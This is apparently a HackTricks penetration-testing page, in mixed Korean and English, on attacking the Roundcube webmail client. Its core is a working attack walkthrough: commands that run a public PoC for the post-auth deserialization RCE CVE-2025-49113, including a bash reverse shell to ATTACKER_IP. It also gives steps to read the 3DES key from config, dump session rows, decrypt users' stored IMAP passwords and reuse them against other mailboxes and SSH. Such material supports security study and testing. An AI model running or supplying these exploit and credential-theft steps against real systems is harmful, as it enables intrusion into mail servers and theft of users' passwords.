Roundcube

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ฐœ์š”

Roundcube๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ HTTP(S) vhosts(์˜ˆ: mail.example.tld)์— ๋…ธ์ถœ๋˜๋Š” PHP webmail ํด๋ผ์ด์–ธํŠธ์ž…๋‹ˆ๋‹ค. ์œ ์šฉํ•œ fingerprints:

  • HTML ์†Œ์Šค๋Š” ์ข…์ข… leaks rcversion (e.g., window.rcmail && rcmail.env.rcversion)
  • ์ปจํ…Œ์ด๋„ˆ/VM์˜ ๊ธฐ๋ณธ ์•ฑ ๊ฒฝ๋กœ: /var/www/html/roundcube
  • ์ฃผ์š” ์„ค์ • ํŒŒ์ผ: config/config.inc.php

Authenticated RCE via PHP object deserialization (CVE-2025-49113)

Affected versions (per vendor/NVD):

  • 1.6.x before 1.6.11
  • 1.5.x before 1.5.10

๋ฒ„๊ทธ ์š”์•ฝ

  • program/actions/settings/upload.php์˜ _from ํŒŒ๋ผ๋ฏธํ„ฐ๋Š” ๊ฒ€์ฆ๋˜์ง€ ์•Š์•„ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Roundcube๋Š” ์ดํ›„ ์ด ๋ฐ์ดํ„ฐ๋ฅผ unserializeํ•˜์—ฌ gadget chain ์‹คํ–‰ ๋ฐ ์›น ์ปจํ…์ŠคํŠธ์—์„œ์˜ remote code execution (postโ€‘auth)์œผ๋กœ ์ด์–ด์ง‘๋‹ˆ๋‹ค.

๋น ๋ฅธ ์ต์Šคํ”Œ๋กœ์ž‡

  • ์š”๊ตฌ ์‚ฌํ•ญ: ์œ ํšจํ•œ Roundcube ์ž๊ฒฉ์ฆ๋ช…๊ณผ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ UI URL(์˜ˆ: http://mail.target.tld)
  • ๊ณต๊ฐœ PoC๋Š” ์„ธ์…˜ ์ฒ˜๋ฆฌ, gadget crafting ๋ฐ ์—…๋กœ๋“œ ํ”Œ๋กœ์šฐ๋ฅผ ์ž๋™ํ™”ํ•ฉ๋‹ˆ๋‹ค
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD

# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"

# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"

๋…ธํŠธ

  • ์ถœ๋ ฅ์€ ์ข…์ข… ๋ณด์ด์ง€ ์•Š์Šต๋‹ˆ๋‹ค; RCE๋ฅผ ํ™•์ธํ•˜๋ ค๋ฉด sleep N์„ ์‚ฌ์šฉํ•˜์„ธ์š”
  • ์ƒ์„ฑ๋œ ์…ธ์€ ์ผ๋ฐ˜์ ์œผ๋กœ www-data๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค; ์ปจํ…Œ์ด๋„ˆํ™”๋œ ๋ฐฐํฌ์—์„œ๋Š” /.dockerenv ๋ฐ 172.17.0.0/16 ๋„คํŠธ์›Œํฌ๋ฅผ ์˜ˆ์ƒํ•˜์„ธ์š”

Postโ€‘exploitation: Roundcube ์„ธ์…˜์—์„œ IMAP ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณต๊ตฌ

Roundcube๋Š” ํ˜„์žฌ ์‚ฌ์šฉ์ž์˜ IMAP ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์„ธ์…˜ (database)์— ์ €์žฅํ•˜๋ฉฐ, config.inc.php์— ์„ค์ •๋œ ์„œ๋ฒ„โ€‘์ธก 3DES ํ‚ค๋กœ ์•”ํ˜ธํ™”๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. Roundcube ํ˜ธ์ŠคํŠธ์—์„œ filesystem ๋˜๋Š” DB ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ์œผ๋ฉด ํ‰๋ฌธ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณต๊ตฌํ•˜๊ณ  ๋‹ค๋ฅธ ๋ฉ”์ผ๋ฐ•์Šค/services๋กœ pivotํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (SSH ์žฌ์‚ฌ์šฉ์ด ํ”ํ•จ).

  1. config์—์„œ DB DSN๊ณผ 3DES ํ‚ค ์ฝ๊ธฐ

config/config.inc.php typically contains:

$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24โ€‘byte key (3DES)
  1. DB์— ์—ฐ๊ฒฐํ•˜์—ฌ sessions๋ฅผ dump
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube

mysql> SELECT id, created, changed, vars FROM session\G

session.vars ํ•„๋“œ๋Š” Roundcubeโ€™s encrypt(): Base64( IV || 3DES-CBC(plaintext) )๊ฐ€ ์ƒ์„ฑํ•œ Base64 ๋ธ”๋กญ์ž…๋‹ˆ๋‹ค. Base64โ€‘decoding ํ›„ ์ฒซ 8๋ฐ”์ดํŠธ๊ฐ€ IV์ž…๋‹ˆ๋‹ค.

  1. ๋น„๋ฐ€๋ฒˆํ˜ธ ํ•„๋“œ ์ฐพ๊ธฐ

๋ณตํ˜ธํ™”๋œ ๊ตฌ์กฐ ์•ˆ์—์„œ ์ž๊ฒฉ ์ฆ๋ช…์„ ๋น ๋ฅด๊ฒŒ ์ฐพ์•„๋‚ด๋Š” ๋ฐฉ๋ฒ•์€ ๋จผ์ € vars field๋ฅผ Base64โ€‘decodeํ•˜๊ณ  ์ง๋ ฌํ™”๋œ ํ•ญ๋ชฉ์„ ์œก์•ˆ์œผ๋กœ ์‚ดํŽด๋ณด๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค:

echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
  1. Roundcube์˜ helper๋ฅผ ์‚ฌ์šฉํ•ด Decrypt

Roundcube๋Š” ๊ฐ™์€ rcmail->decrypt() ๋กœ์ง๊ณผ ๊ตฌ์„ฑ๋œ des_key๋ฅผ ์‚ฌ์šฉํ•˜๋Š” CLI๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค:

cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
  1. ์ˆ˜๋™ 3DES-CBC ๋ณตํ˜ธํ™” (์„ ํƒ)
  • Ciphertext format: Base64( IV(8B) || CT )
  • Alg: 3DES-CBC, key length 24B, PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv

์ผ๋ฐ˜ ์œ„์น˜

  • DB ํ…Œ์ด๋ธ”: session (users ํ…Œ์ด๋ธ”์€ ๋กœ๊ทธ์ธ ์ด๋ฆ„์„ ID๋กœ ๋งคํ•‘)
  • ์„ค์ • ๊ฒฝ๋กœ: /var/www/html/roundcube/config/config.inc.php

์šด์˜ ์‹œ ์‚ฌ์šฉ

  • ์ด์ „ session ํ–‰์—๋Š” ๊ณผ๊ฑฐ ์‚ฌ์šฉ์ž์˜ IMAP passwords๊ฐ€ ํฌํ•จ๋œ ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค; ์—ฌ๋Ÿฌ ํ•ญ๋ชฉ์„ decryptํ•˜์—ฌ ๋‹ค๋ฅธ mailboxes๋กœ laterally move ํ•˜์„ธ์š”
  • credential reuse๊ฐ€ ์˜์‹ฌ๋˜๋ฉด ๋ณต๊ตฌํ•œ credentials๋ฅผ SSH ๋˜๋Š” ๋‹ค๋ฅธ ์„œ๋น„์Šค์— ๋Œ€ํ•ด ์‹œ๋„ํ•ด๋ณด์„ธ์š”

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ